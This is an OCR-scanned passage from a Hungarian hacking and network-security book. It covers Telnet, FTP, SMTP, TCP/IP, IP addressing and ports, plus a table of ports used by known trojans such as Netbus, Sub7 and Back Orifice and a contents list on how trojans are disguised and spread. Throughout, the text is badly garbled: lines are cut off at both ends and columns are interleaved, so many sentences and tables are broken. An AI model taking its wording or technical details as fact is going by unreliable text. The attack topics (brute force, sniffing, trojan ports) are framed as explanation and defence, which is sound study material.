en például a HP egy SNMP-re épülő programja, az OpenView.
nézzük ennek a rétegnek az alkalmazásait!
k elején még nem voltak igazi hálózatok. Voltak viszont nagygé-
e terminálokat csatlakoztattak. Egy terminál akkoriban csak ká-
ztül tudott adatot cserélni a nagygéppel, a további terminálokkal
án nem kommunikálhatott. Hogy egy újabb kábelrengeteg létesí-
, szoftveres megoldásra volt szükség. Így jött létre a Telnet, amely
a felhasználóknak, hogy úgy tudjanak adatokat szerkeszteni stb.,
ülnének a másik gép shell-je (DOS promptja) előtt. A felhaszná-
zvetlenül az alkalmazásnak kiadott paranccsal nyitott meg egy
legfontosabb Telnet-parancsokat az alábbi táblázat tartalmazza.
Leírás
A paraméterként megadott könyvtárra vált. cd ~ Az aktuálisan
er home-könyvtárára vált. Mkdir New Létrehozza a New nevű
r New Törli a New néven létrehozott könyvtárat. Is -l
ktuális könyvtárban található összes fájlt. chmod Megváltoztatja
okat a fájlokhoz és/vagy könyvtárakhoz.
Parancs Leírás
Chown Megváltoztatja a tulajdonost és a csoportot, amelyhez eg
és/vagy egy fájl tartozik. joe Egy egyszerű szövegszerkesztő.
A legfontosabb Telnet-parancsok
FTP
A Fik Transfer Protocol egy szolgáltatás, amely minden operá
belül lehetővé teszi az adatok átvitelét és azoknak a mindenkori
ban mentését. Mint tudjuk, a legtöbb operációs rendszer különb
tumokat használ. A Unix és a Unix-klónok gyakran NFS-t
System) használnak, az OS/2 általában HPFS-t (High Performance
DOS/Windows pedig kizárólag FAT-et (File Allocation Table) v
Windows 2000 és az XP ezenkívül még az NTFS-t is segítség
FTP-n keresztüli kommunikáció, akárcsak a Telnet, a kliens-sz
épül, de valamivel komplexebb. Ebbe nem akarunk részletesebb
azonban a következő pontokat megemlítjük:
A kommunikáció öt fázisra osztható:
Fázis Leírás
1. fázis: A kliens kérdést küld a számítógépnek, hogy a szolgáltatás
Kapcsolatfelépítés zésre áll-e, az pedig megerősítést küld, hitelesíti a felhas
jelszót, és átküldi az átviteli opciókat és a fájlnev(ek)et. 2. fázis: Ki
portra vonatkozó információkat, és előkészítik a tulajdon-Adatátviteli kap-
adatátvitelt. Miután ezt rögzítették, elkezdődhet a tulajdon-csolat létesítése
adatátvitel. 3. fázis: Az adatátvitel az FTP-n keresztül történik, a
formában, aho-Adatátvitel gyan azt már leírtuk. 4. fázis:
átadja a teljes állomány utolsó adatait, a kliens vissza-Az átvitel végének iga
ezeknek a fájloknak a fogadását. Most a szervergép Close bevezetése
küld a kliensnek, amely veszi a parancsot, és elfogadja. 5. fázis:
adateljárás mutatja a kontrolleljárásának (21. port) az átvi-Az átvitel
bezárul. A kliens-adateljárás szintén terminál, a kontroli-lezárása elj
azonban aktívan hagyja a további átvitelekhez.
Az öt kommunikációs fázis az FTP-nél
 rendelkezésre álló közel 60 parancsból itt csak a legfontosab-
k felsorolni:
s telét.
indul az FTP-kapcsolat a hosthoz. open host Ha egy hosthoz még
a felhasználó azonban már az FTP környezetben található, az open host
elépíteni az említett kapcsolódást. user user Ha már fennáll a
, a felhasználó azonban még nincs bejelentkezve, a user paranccsal
g. ascii ASCII-re állítja az adatátviteli módot. binary
adatátviteli módot. bell Minden fájltranszfer után elhangzik egy
Kapcsoló: ha a cr be van kapcsolva (default), akkor a
ED karakterek LINEFEED-re módosulnak. prompt Kapcsoló: ha a
pcsolva (default), akkor több fájl átvitelénél minden fájl után egy interaktív
ezik.
P-parancsok
k Transfer Protocol nem a TCP-re épül, mint az előbb tárgyalt
UDP-re (User Datagram Protocol). Bár ez is adatok átvitelét
m a végfelhasználó számára készült, mivel a kapcsolat biztosítat-
z átviteleknél nincsen jelszólekérdezés, csak a forrás-IP marad
delkezésre álljon a szükséges tartomány. A legfontosabb paran-
t, a mode, a get, a put, a verbose és a quit.
néhány szó arról, hogyan is folyik itt az adatátvitel. A TFTP
ens-szerver elvre épül. A kliens egy kérést küld a szervernek, az
megkezdődik az adatátvitel. Minden adatrekord 512 bájtos, és a
zza. A kliens akkor tételezi fel automatikusan az átvitel végét, ha
rd 512 bájtnál rövidebb.
ocol is az UDP-re (Use Datagram Protocol) épül, és tulajdonképpen
ztették, hogy boot-folyamatokat aktiváljon. Erre csak ott van
szükség, ahol lemez nélküli munkaállomásokat (diskless-workst
tetnek, mert ezek nem tudják tárolni a logikai címüket. Bootolá
tulajdonképpeni indítást értik, hanem csak a fontos konfiguráci
SMTP
A Simple Mail Transfer Protocol alighanem a legtöbbet haszn
interneten. Az SMTP már a kezdet kezdetén a Unix-rendszer
dett be, és időközben a normál PC-ken is megtalálta a helyét. A
kezeli a mail-szoftverét, és itt készít elő egy üzenetet. Ha ezután
netét, akkor ez annyi időre kerül a köztes tárba, amíg a TCP a
(az OSI modell keretei között) átviszi. A kliensnek és a szervern
parancs, illetve reakció áll a rendelkezésére, amelyeket most ne
Helyette a szerver és a kliens közti kis párbeszédet mutatjuk be
ver részéről mindig pozitív válaszból indulunk ki):
• A kliens session-t épít fel a szerverhez.
• A szerver megerősíti a szervizek rendelkezésre állását.
• A kliens azonosítja magát.
• A szerver azonosítja magát.
• A kliens átadja a tulajdoképpeni parancsot, amely mail-k
be. • A szerver a beleegyezését adja.
• A kliens átküldi a címzettet.
• A szerver válaszol: a postafiók elérhető.
• A kliens inicializálja az adatátvitelt.
• A szerver felveszi az adatokat, és a befejezéshez kéri a <crlf>
csot.
• A kliens az átvitel befejezése után, ahogy megállapod
<crlf><crlf> -et.
• A kliens a megfelelő paranccsal befejezi a kapcsolatot.
• A szerver erre service closing-gal felel.
 as években más mail-rendszereket is bevezettek, kompatibilitási
ek fel. Az átmenetekkel nem volt könnyű megbirkózni, így na-
yes konvertereket kellett alkalmazni. 1992 óta nagyjából csak a
purpose Internet Mail Extensions) használják, amely már nem
ak a tiszta szövegküldésre, hanem a legkülönbözőbb adattípuso-
ka, audió stb. is át lehet küldeni vele.
rocedure Calls-t akkor használják, ha több különböző kapacitású szá-
delkezésre, és olyan feladatot kell elvégezni, amely nagyon nagy
ásokat igényelne. Az RPC-vel a részfeladatokat specifikusan az
kvalifikált számítógéphez lehet rendelni, így a különböző számító-
tni, egy multikomputerré olvadnak össze. Ez az eljárás egyébként
yre nagyobb figyelmet vívott ki magának a nagyvállalatoknál és a
nél. A pontosabb felépítésébe itt nem megyünk bele.
Information Services műveletek biztonsági objektumok és elérési
re szolgálnak. Ez a rendszer, amelyet eredetileg a SUN fejlesz-
Yellow Pages volt a neve), lehetővé teszi a decentralizált userID-k,
elszavak központi adminisztrációját. A NIS működtetéséhez a
ponensekre van szükség:
atbázis egy túlméretezett /etc/passwd-fájlt jelenít meg a hálózat
ster-Server a megfelelő domainekkel kezeli a NIS-adatbázist.
ve-Server az adatbázis egy biztonsági másolatát tartalmazza a
erver kiesésének az esetére.
domain a NIS-adatbázisban leképezett számítógépek csoportja.
ent egy számítógép, amely a szervertől kap adatokat, de nem
változtatni ezeket.
Transzport réteg
A transzport rétegnek a következő feladatokat kell ellátnia:
• Lehetővé tenni az adatátvitelt dedikált transzportkapcsolato
• A kapcsolatokat ellenőrzötten kell felépíteni és bezárni.
Multiplexing: egy kommunikációs csatorna felépítése, am
egyidejű átvitelére lehet használni.
• Ellenőrzés, hibafelismerés és folyamatvezérlés a kapcsolat a
• Optimalizált adatfolyam - Windowing-nak is nevezik.
• Az adatfolyamok priorizálása, vagyis az adatfolyam prioritá
küldése.
A transzport rétegben két protokoll található, a már említ
UDP (User Datagram Protocol).
Transmission Control Protocol (TCP)
A TCP a következőkre képes:
• Adatfolyam-átvitel
• Virtuális full-duplex kapcsolatok
• Adatfolyam-vezérlés
• Hibafelismerés
• Prioritásvezérlés
A TCP az egyik fő protokoll, és a protokoll-család más tagj
valamennyi adat megbízható átvitelét garantálja. Ebben a hibael
funkciói segítenek, gondoskodva arról, hogy a fogadott adatok
állapotban és sorrendben érkezzenek meg, amelyben azokat elkü
dául minden elküldött csomaghoz egy numerikus értéket generá
téknek a segítségével a két egymással összeköttetésben álló szám
csomagot azonosít. A címzett minden fogadott csomagról egy ü
feladónak, s ez igazolja az átvitel tökéletességét. Ha egyszer még
elő az adatátvitelben, a címzett ennek megfelelő üzenetet küld
újrakéri az érintett csomagot.
 s felügyeli, hogy nem lépett-e fel súlyos hiba az adatátvitelben,
etben automatikusan megszakítja a kapcsolatot a másik számító-
lten átküldi az adatokat, ha a célszámítógép egy bizonyos idő
megerősítést a fogadásukról. Ebből látszik, hogy a TCP teljes
felel a hírének, miszerint biztonságos átviteli protokoll.
azás, mint például az Internet Explorer, a TCP-re bízhatja a kap-
ét; ehhez persze még más fontos protokollokra is szükség van.
ot egy három részből álló folyamat vezeti be, amelyet three-way-
neveznek.
ő számítógép, illetve a kliens elküldi a kapcsolatra irányuló ké
egy portot, amellyel a távoli számítógéphez, illetve a szerverhez
olódni.
megerősítéssel és egy várakozási listával (a kapcsolathoz) válaszol.
megerősítéssel válaszol, és a kapcsolat felépül.
megnyitása után mindkét irányba áramolhatnak az adatok.
gram Protocol (UDP)
ztosítatlan protokoll, amely a TCP-nél említett tulajdonságok
dicsekedhet. Ugyanúgy biztosítatlan, mint azok a protokollok,
nszportréteg alatti rétegek tartalmaznak. Az ok, amiért az UDP
li réteghez tartozik: az IP ugyan elő tud állítani kapcsolatokat,
tud adatokat továbbítani az alkalmazásoknak. Az UDP ezt
a, mint a TCP. Az UDP azonban nem kéri a fogadás megerősí-
tehát, mondhatni, egy alkalmazáscsatoló-felület az IP-hez. A
roppant rövidre fogott: információkat tartalmaz a kiinduló
rtról, az adatok hosszáról, és közli a UDP-header adatainak az
t.
kis táblázat példákat mutat arra, hogy milyen szolgáltatások ér-
P-vel, illetve a TCP-vel.
53 161 69 25 32 23 80
C DNS SNMP TFTP SMTP FTP TELNET HTTP
agram Protocol (UDP) Transmission Control Protocol (TCP)
z UDP/TCP
Hálózati réteg
Ez a réteg különböző protokollokat fog össze, amelyek aktíva
az adatok átvitelében, például:
Internet Protocol (IP)
Az Internet Protocol felelős az adatcsomagok átviteléért a
mennyi protokolljánál.
Az Internet Protocol egy headerből és az azt követő adatblok
többek között az adatcsomagok fragmentálásáért is felelős. A f
azt jelenti, hogy egy adatcsomag legfeljebb 65535 bájt méretű
csomag ennél nagyobb, az lefagyaszthatja a PC-t. Ezt nevezik p
lásnak (Buffer Owerflow), amelyről később, a DoS-támadásokró
ben többet mondunk. Hogy ezt elkerüljék, a csomagot részcso
bolják. A elküldött csomagokat a célrendszerben újból egyesítik
reassembly néven ismertebb.
Ezt a bonyolult folyamatot megpróbáljuk egy header-mode
megmagyarázni:
Version | HL Type of Service Totál Length Indent
Flags Fragment Offset TTL Protoco
Header Checksum Source Address Destination Address Options
Padding Data
Version: az IP-verziót jelöli. Az interneten pillanatnyilag m
használják, azonban közeledik a váltás a 6. verzióra, amelyet néh
zatban (LAN) már használnak.
IHL vagy HL (Internet Header Length): az IP-header hossza
kokban van megadva.
Type of Service: minden bitnek csak ajánlókaraktere van. A Pre
séget nyújt a vezérlőinformációk előnyben részesítésére.
Totál Lenght: az adatcsomag teljes hossza bájtban (max. 64 K
Identification: egy adatcsomag egyértelmű ismertetőjele. En
és a Source Address-nek a segítségével ismerhető fel a töredékad
zósága. Ezek és a két következő mező vezérlik a reassembly-t (ld
 bitnek a következő a jelentése:
gment: olyan hostokhoz, amelyek nem támogatják a
álást.
gments: hogy kiderüljön, hogy egy adatcsomag minden
umát fogadta-e.
Offset: egy adatcsomag adatbájtjait számozza, és kiosztja a frag-
Az első fragmentum offset O-t kap, minden továbbinál egy frag-
mezőjének a hosszával növekszik az érték. Ennek az értéknek a
dja a címzett megállapítani, hogy hiányoznak-e töredékek.
e (TTL): Minden csomagnak van egy előre megadott maximális
mit itt lehet megadni. Routolási hibánál, például huroknál, az
lamikor el lesz távolítva a hálózatról. Mivel az időmérés megle-
matikus a hálózatban, és a headerben nincs feljegyezve indulási
uter úgy dekrementálja (kicsinyíti) a csomagot átfutáskor, hogy
tékre csökkenjen. Ekkor a következő router már nem veszi fel.
Mivel a különböző protokollok az IP-re támaszkodnak, meg kell
delt ULP (Upper Layer Protocol) protokollt. A fontos ULP-k:
Leírás
ICMP (Internet Control Message Protocol) 3
-to-Gateway Protocol) 6 TCP
Control Protocol) 8 EGP
ay Protocol) 17 UDP (User
col)
P-k
ecksum: az IP-header ellenőrzőszáma. Mivel a TTL-érték (Time
tleg a flag és a flag offset értékei is minden routernél változnak,
lően kell alakítani az ellenőrzőszámot. Ezáltal teljesül a 1 6 bites
ás. A felesleges késleltetések elkerülése érdekében a header el-
a korlátozódik.
ress: a forrásállomás internetcíme. Itt van feljegyezve a küldő szá-
me.
Address: a célállomás internetcíme. Itt van feljegyezve a fogadó
címe.
Options: opcionális mező további információknak. Sok kódot
kiegészítésekhez terveztek. Az opciók mindenekelőtt a hálózati
bakeresést és a méréseket szolgálják. A legfontosabbak:
• Record Route: naplózza az adatcsomag útját.
• Loose Source Routing: a küldőállomás előír néhány közb
• Strict Source Routing: a küldőállomás minden közbeeső állo
• Timestamp Option: az IP-címe helyett, akárcsak a record r
den gateway a feldolgozás időpontját jegyzi be.
• Padding: kitöltő bitek. A padding feladata, hogy bináris null
re egészítse ki a frame-et.
Mint látjuk, az internetprotokoll igazán komplex, de mindez
az adatok átvitelét szolgálja.
Address Resolution Protocol (ARP)
Egy hálózatban minden számítógépnek van egy, a firmware á
niált fizikai címe. A számítógépes kommunikációhoz azonban n
nem logikai címet használnak, amelyet például az interneten talál
meghajtó egymagában nem képes arra, hogy a logikai címén
számítógépet, mivel semmilyen módon nem áll összeköttetés
hardvercímével. Tehát a logikai címet a fizikai címre kell cserél
az ARP. Ez egy headerből és az ARP-csomagból áll, és tartalmaz
adatokat a logikai forrás-protokollcímhez és a fizikai címhez is.
Reverse Address Resolution Protocol (RARP)
A RARP az ARP-vel ellenkező irányban működik. Ahelyett,
címből állítaná elő a fizikait, a host egy RARP-kérést küld a f
amire azután a RARP-szerverek a hálózatban átnézik a saját refe
taikat, és egy RARP-választ küldenek vissza, amely tartalmazza
Ezt a módszert tulajdonképpen csak olyan számítógépeknél ha
lyeknek nincs olyan adathordozójuk, amelyben tartós, logikai c
tárolni, és ezért mindig csak a fizikai cím ismeretével bootolnak
ontrol Message Protocol (ICMP) 3.3.1 A Telnet
eladata az üzenetek, például a hibaüzenetek közvetítése. Ugyan-
az IP-t, mintha maga is egy fölérendelt protokoll lenne, azonban A Telnetet az RFC 854 (Request for Comment, az internetfejles
kotórésze. kafeljegyzése, http://www.ietf.org/) a következőképpen defini
protokoll célja egy általános, mindkét irányra kiterjedő, 8 bit/bájt-orie
aüzenetekről, amelyeket az ICMP küld:
kációs lehetőséget nyújtani. A fő cél egy szabványos módszer létrehozás
eírás keken alapuló folyamatok összekötésére.
estination unreachable: a célállomás nem érhető el. 4 A Telnet tehát lehetővé teszi a felhasználóknak, hogy távoli s
puffer-erőforrások elhasználva. 5 jelentkezzenek be az interneten, és parancsokat hajtassanak végre
-elterelés. 11 Time exceeded: a timer mítógépeken. Sőt, a Telneten keresztül programokat is el lehet
Paraméter Problem: Paraméter-probléma. rendszereken, ehhez a Telnet egy terminált szimulál (szöveg, gra
Windows alatt egy Telnet-kapcsolat a következők szerint épü
eteinek listája
1. Windows 95/98 (és magasabb verzió) alatt kattintsunk a Sta
mire megjelenik egy kis párbeszédablak.
az információs üzenetekről:
2. Gépeljük be a telnet.exe sort.
eírás 3. Kattintsunk az OK-ra, a Telnet elindul.
cho reply 8
4. A szokásos módon tárcsázzunk be a szolgáltatónkhoz.
Time 5. Váltsunk vissza a Telnet-re.

est 16 6. Kattintsunk a Hálózati rendszer kapcsolatra. Megjelenik egy pá

17 7. Beírjuk a következőket:
uest 18
ly
• Hostnév: meine-domain.de

iós üzeneteinek a listája • Csatlakozás: telnet

• terminál típus: vt 100
n megfelelően módosul, és az adatok visszajönnek a számítógépre.
8. Kattintsunk a Kapcsolatra.
9. Most megjelenik: Welcome, a szerver üdvözöl, és készen áll.
ány alkalmazás és protokoll használata és
ztonságosságuk 10. Adjuk meg a login-nevünket. Ez az a név, amelyet az FTP-
lunk (ld. lejjebb).
protokolloknak a használata és a lehetséges biztonságosságuk 11. Ezután nyomjuk le az Enter-t.
telei a hackerek cselekményeinek.
12. Most a szerver a jelszót akarja tudni. Ez ugyanaz a folya
FTP-nél.
rtassuk magunkat, amiért nem látjuk, amit írunk, a jelszó beírása A CuteFTP felülete

ható.
e még egyszer az Enter-t.
pcsolatban vagyunk a szerverrel. A parancssort lehet látni, pl.
ubis2$, b3$ stb.
lehet írni a parancsokat.
Felépül
a Telnet-kapcsolat

A Telnettel az az egy
gond van, hogy minden
adatot kódolatlan
szövegként visz át. Mivel
a Telnet felhasználó-
azonosítást kíván (login-
név, jelszó), egy be- Egy kapcsolat létrehozásához, FTP-szervernek, illetve FTP da
tolakodó, ha beleolvas a futnia a célszámítógépen.
omba, nagyon könnyen megszerezheti a fiókadatokat. Az FTP-nek két fajtája van: a User-FTP és az Anonymus-FTP
nél a felhasználónak a login-nevével és a jelszavával kel
bejentkeznie. Az Anonymus FTP-nél bárki bejelentkezhet a sze
FTP névként többnyire Anonymus-t, és jelszóként egy e-mail-címet k
zel az FTP-szerver nyilvános részéhez kapunk hozzáférést. Az A
ávoli rendszerek közötti adatátvitel egyik módszere. Az FTP-t az fontos szolgáltatás az interneten, mert általa a programok vagy a d
for Comments, biztonsági kézikönyv) így mutatja be: Az FTP fel- minden internet-felhasználó számára elérhetők.
(programok és/vagy adatok) közhaszmú átvitele, 2. távoli számítógépek
mplicit (programokon keresztüli) használatának az elősegítése, 3. a Az FTP biztonsága
szerek fájlrendszerei közötti strukturális különbségekből adódó vesződ-
olása és 4. adatok megbízható és hatékony átvitele. Bár az FTP-t egy Az FTP nem túl biztonságos protokoll, s különbözőképpen tá
vetlenül is lehet használni, elsősorban programokon keresztüli haszná- a legfontosabb támadási formák.
ék.
adatátvitel egy FTP kliensen keresztül történik, ilyen például a Jelszótámadások
y a WS_FTP. A kliens egy kérdést küld a távoli számítógép FTP
Ezt a kérdést a 21. porton keresztül teszi fel. Az FTP igen alkalmas a jelszavak kipróbálására, mivel a szabvá
cióban nincs korlátozás a jelszavak beírására, tehát akárhányszor m
a jelszót. Ezt a támadást Brute Force-rohamnak is nevezik.
szervereknél ki lehet találni az érvényes login-neveket. Ha valak
login-nevet ad meg, akkor a szerver hibakóddal válaszol.
ffing jelszófájlt. De az IRC-parancsokból is sok információt tudhat me
TP kódolatlan szövegként továbbítja az adatokat, ha egy betörő felhasználóról, amelyek a segítségére lehetnek a további támadás
lózati forgalmakba, felhasználói adatok birtokába juthat. Erről a veszélyt jelenthet a fájlcsere is, ahol mindig szívesen küldenek t
óló fejezetben további részleteket tudhatnak meg. rusokat (ld. a trójaiaknál). A legnagyobb veszélyt azonban maguk
ve a szerverprogramok jelentik. A rosszul konfigurált kliensprog
eltöltés több elérést engednek meg a szervereknek a helyi erőforrásokra
mint amennyi tanácsos volna.
erverre lehet Anonymus-belépéssel szoftvert feltölteni (upload). Egy
módon manipulált szoftvert helyezhet el a szerveren (vírus, trójai).
3.3.4 Az IP-címzés
IRC A címzés az interneten az IP-címzésen alapul. Az interneten
rás egy egyértelmű számmal, az IP-címmel érhető el. Az IP-címek
ternet Relay Chat) az e-mail mellett az egyik legkedveltebb szol- archikus, ami azt jelenti, hogy egy ügyfél a szolgáltatójától kapja
erneten. Többrésztvevős valós idejű konferenciákat tesz lehetővé. ges IP-címet, a szolgáltató megintcsak a hálózattól kölcsönz
felhasználók, szervertől függően (IRC szerver, pl. irc.euirc.net), a amelyre csatlakozik, miközben a hálózatok üzemeltetői időbeli
bb csatornákon (channels) lehetnek. A beszélgetésekhez ma már kül, blokkokban kölcsönzik IP-címeiket, az IP Numbering Autho
kliens valamelyikét használják. A legismertebbek közé tartoznak pában a RIPE (http://www.ripe.net/) felelős az IP-címek kiosz
hC és a pIRCh.
IRC-felület Hogyan néz ki egy IP-cím?
A jelenleg használt IP-protokoll az IPv4. Minden IP-cím 32
vel az ilyen számkombinációk igen körülményesek, többnyire a p
írásmódot használják, amelynél a 32 bit 8 bitekre van felosztva,
mális számként írják le. Eszerint egy IP-cím négy bájtból áll:
11000010 01001101 01111100
194 77 124
Pl: 11000010 128 64 32 16 8 4
1 1 1
0
0
0
1

álóan alkalmas a Social Engineering-re. Leginkább az újoncok ve- Minden kvadráns egy 0 és 255 közti számot reprezentál, íg
hogy bizonyos parancsokat, amelyeket a chat-en mondott nekik szegmenssel elméletileg több mint négymilliárd (pontosan: 4 29
ajtsanak. Egy támadó elküldetheti például e-mailben magának a met lehet kezelni.
ti osztályok
kiderült, hogy négymilliárd IP-címet nagyon nehezen tud egyet-
kezelni.
ntesítés céljából az InterNIC, amely a 90-es évek elején átvette az
elését, az egyes IP-címterek kezelését nemzeti NIC-eknek és
knak adta át, amelyek, az InterNIC-től függetlenül, önállóan
a hozzájuk utalt címtartományokat. Így jöttek létre a hálózati osz-
a.bbb.x.x), amelyekben csak az első negyedet határozza meg egy
ék háromnegyedet szabadon lehet kiadni.
gfelelően a négymilliárd IP-címet ismét három osztályba sorol-
és C-osztályú hálózatokba.
Leírás
Az A-osztályú hálózatok az első negyedben 1 és 126 közötti értékeket
A-osztályú hálózatok tulajdonosai az InterNIC-től (ami most is minden A-
ot kezel) kapják az első negyedet, és az IP-cím fennmaradó 24 bitjét
k ki. Az A-osztályú hálózatokat azonban mára már mind kiosztották,
at létesíteni az interneten. aaa.bbb.x.x A B-osztályú hálózatok első
-191-ig vannak értékek, és a második negyedben van a 0-255-ig
ékterület. A B-osztályú hálózatok tulajdonosai a két első negyedet
észen kiosztva kapják, és a maradék 16 bitet adhatják ki maguk (ez
65536 különböző IP-címet jelent egy B-osztályú hálózaton belül).
A C-osztályú hálózatok első negyedében 192-223-ig vannak értékek, és
m kvadránsban megint a teljes értékterület tartozik 0-255-ig. A C-
tok tulajdonosainak az első három szegmenst (aaa.bbb.ccc.x)
negyedikről szabadon rendelkezhetnek (ez kiszámolva 256 különböző
yú hálózatok
-címek
van, amelyet a szolgáltatók nem oszthatnak ki, mert más célokat
magyarázat következik, amely a további szövegek jobb megértésé
menni. Néhány ilyen csatolófelületet biztosan minden felhasznál
Címek Leírás
x.x.x.0 és Minden IP-címben a negyedik szegmensben a 0 és 255 érték
x.x.x.255 szertől függően zárolva vannak; a 0 a subnet megnevezésé
alatt a negyedik negyedben minden gépet értünk 1 -254-ig), a 255 a negyed
broadcast-címként szolgál (ezzel az értékkel érhető el egy subnet minden sz
127.x.x.xx Minden IP-cím, amelynek ez az első szegmense, TCP/IP viss
hurokként szolgál. TCP/IP-installációk tesztelésére szolgálnak a számítógépe
pinggel egy tetszőleges 127-es címre). 10.x.x.x Ez az A-osztályú há
internetre kapcsolódó intranet helyi gépei számára van fenntartva. Ezen az
hálózaton belüli IP-címeket csak az intraneten belül lehet routolni. 172.16.x.x
B-osztályú hálózat ugyancsak egy internetre kapcsolódó intranet 172.31.x.x-i
gépei számára van fenntartva. E B-osztályú hálózatokon belüli IP-címeket cs
intraneten belül lehet routolni. 192.168. Ez a 256 C-osztályú hálózat u
internetre kapcsolódó intra-00192.168. net helyi gépei számára van fennt
C-osztályú hálózatokon 255.255-ig belüli IP-címeket csak az intraneten b
routolni. 224.x.x.x239. Az 1. negyed értékek 224-239-ig a multicast-címe
egyetlen x.x.x-ig meghatározott hálózatot sem definiálnak és több cím
biztosítják az adatcsomagok egyidejű átvitelét. Ezeket időnként D-osztálynak i
240.x.x.x255. A jövőbeli fejlesztésekhez zárolva vannak még az 1. szegmens
x.x.x-ig 254-ig. így a négymilliárd elméletileg rendelkezésre álló IP-c
már csak egy „töredéke" marad. Már ma is szűkösen megy a B- és C- oszt
címek kiadása, mivel a szabad számkészlet mindig kisebb lesz. Ezért van be
az Ipv6 IP-címzési rendszer, amelyben egy IP-cím a mostani 32 bit helyett 12
állni.
Foglalt IP-címek
3.4 Aportokról
Ebben a könyvben gyakran találkozunk a port fogalmával, ezér
A port egy csatolófelület, amelyre információk tudnak bejön
 ik például az egér és a billentyűzet mint adatbeviteli eszközök. Egy portszkennelés
eredménye
után a monitor vagy a nyomtató jelenti.
errendszer szintén különféle portokat kínál az internet- A következő táblázat néhány
a különböző szolgáltatásokhoz. Itt azonban nem fizikai, hanem fontos portot ír le:
erportokról van szó. Portjai minden olyan operációs rendszernek
ly támogatja a TCP/IP-t, tehát vannak a Linuxnak, a
Unixnak és a BeOs-nak is. Ezeket a portokat számokkal jelölik.
5536 port van. Az 1-1023-ig portok a standard, illetve statikus
Well known portok. Ezek a közkedvelt szervizeknek vannak fenn-
zerint csak az arra jogosult felhasználók érhetik el őket. így pél-
ő egy weboldal letöltésekor automatikusan kapcsolatot létesít a
rver 80. számú portjával. Ez a port bocsátja rendelkezésre a
Webhez szükséges HTTP kommunikációs protokollt. A min-
ollok megfelelő porthoz rendelésével kapcsolatos információkat
teg tartalmazza. E-maileket például a Simple Mail Transfer Port Leírás
TP)-on keresztül küldünk. A mail-szolgáltatás ennek megfelelő- 21 FTP (File Transfer Protocol) 23 Telnet (Service, nem pr
wn portok szabványa szerint, a 25. portszámról megy. 25 SMTP (mailküldéshez, Simple Mail Transfer Protocol) 43
t portok az 1024-49151 portok, és gyakran bizonyos szervizekhez (utánanézni, kié egy weboldal) 53 Domain Name Server (DNS nev
vezve, de rendszerint mindenki használhatja őket. A nagyobb kereséséhez) 66 SQL * Net (SQL Server Port) 79 Finger
portokat dinamikus vagy privát portoknak nevezik, ezeket más (információk egy felhasználóról, például hogy vannak-e mail-jei) 80
aját készítésűek is, használhatják. (World Wide Web) 110 POP3 (Post Office Protocol 3); itt kérjük le a
kkor nyitott, ha egy program ezen a porton egy kérésre (request), jeinket 137 Netbios Name Service (hálózati PC-k nevei) 138
désre vár. Ha egy FTP szervert telepítünk a rendszerre, akkor ez Netbios Datagramm Service (Adatforgalom a hálózatban) 139 Netb
porton vár kérdésre, ez a port tehát nyitott. Session Service (a nukerek is ezt használják)
ok/ról/on káros adatcsomagok, illetve rossz szándékú támadások
agy fogadhatók. Megfelelő védőmechanizmusok nélkül az ilyen
bnyire a számítógép lefagyásához vezetnek. A manipulált adat-
déséhez általában adott portokat használnak, s a megfelelő szol- A legfontosabb portok áttekintése
gramhibáira építenek.
ortok komoly biztonsági hiányosságokat is jelentenek a rendsze- Valamennyi port listája a http://www.iana.org/assignments/
n a portokon keresztül az avatott hackerek be tudnak törni az numbers weboldalon található.
szerbe. Ezért ajánlatos a rendszer gyakori vizsgálata egy
el - ilyen például a 7tf Sphere (www.hackerzbook.de) -, és az
portok lezárása egy tűzfallal.
 A portokat a trójaiak is használják, ezért most felsoroljuk a legismertebb tró-
jaiak legfontosabb portjait.
Port Trójai
2140 Deep Throat 6670
Deep Throat 6771 Deep
Throat 30129 Masters
Paradise 5400 Blade Runner
12361 Whack A Mole 20034
Netbus 2 Pro 21544 Girlfriend
12345 Netbus 31337
Régi Back Orifice (BO) 1243
Régi Sub 7 27374 Sub7
30100 Netsphere 456
Hackers Paradise

A trójai portok

Az összes ismert trójai portról a http://www.un.secure.de címen kapunk

pontos listát.
4. fejezet - Tartalom

4.1 A történelmi minta.

4.2 Miből áll egy trójai?

4.2.1 A szerver kiosztása
4.2.2 A kliens otthon marad, és vezérli a szervert
4.2.3 Hogyan szerzik meg a hackerek az IP-t?

4.3 Így álcázzák és terjesztik a trójaiakat

4.3.1 A trójaiakat fájlokba integrálják
4.3.2 Álcázás a WinZip-pel
4.3.3 A trójaiakat az ICQ-val is tovább lehet adni
4.3.4 Elég egy CD és az automatikus lejátszás funkció
4.3.5 A lemezek majdnem ugyanígy működnek
4.3.6 További terjesztési stratégiák
4.3.7 Mit csinálnak a hobby-hackerek a trójaiakkal?

4.4 Sub7 - egy trójai rémisztő lehetőségekkel

4.4.1 Támad a Sub7

4.5 BackOrifice 2K - Hálózati eszköz vagy támadás a Microsoft ellen

4.5.1 A BO2K és összetevői
4.6 Így ismerjük fel a trójait a rendszerünkben
4.6.1 Vírus- és trójai-szkenner
4.6.2 AutoRun bejegyzések
4.6.3 Windows-Registry - ez már izgalmas
4.6.4 Módszerek az Explorer.exe-vel a C:\ meghajtóra
4.6.5 A runonce.exe kicserélése
 A trójaiak
4.1 A történelmi minta
Bizonyára mindenki ismeri a homéroszi történetet: Párizs, a trójai király
megszöktette a szépséges görög Helénát. Erre a görögök évekig ostromol-
ták eredménytelenül Trója városát. Amikor látták, hogy ostrommal nem
tudják bevenni, a görög Odüsszeusznak támadt egy ötlete. Építtetett egy ha-
talmas falovat, a trójaiak isteni jelképét, és Trója kapuja elé állíttatta. Ez-
után a görögök visszahúzódtak. A trójaiak a biztos győzelem tudatában be-
vontatták a lovat a városba, és önfeledten ünnepeltek. De a ló belseje a leg-
erősebb és legbátrabb görög harcosokat rejtette, akik azután éjszaka ki-
másztak a ló hasából, és kinyitották a város kapuit a görög seregnek, amely
a város közelében rejtőzött. Trója elesett - a hackerek pedig a magukévá
tették a trójai faló ötletét.
Trójainak tehát egy szoftvert nevezünk, amelyről azt sem tudjuk, hogy a
számítógépünkre került, mégis mérhetetlen károkat okozhat. Hogy a trójai
eltitkolja az elhelyezését, álcázást használ, akárcsak a görög katonák.
4.2 Miből áll egy trójai?
Először is tudni kell, hogy miből is áll egy trójai. Az RFC 1244 (Site
Security Handbook) így írja le a trójait (a szerző fordítása): Trójai lehet egy
program, amely valami hasznosat vagy csak valami érdekeset csinál. Mindig va-
lami váratlant tesz, például a tudtunk nélkül jelszavakat lop vagy fájlokat másol.
Még egy kicsit világosabban leírva: a trójai egy meg nem engedett kód
egy legitim programon belül - tehát az eredeti program megváltoztatása.
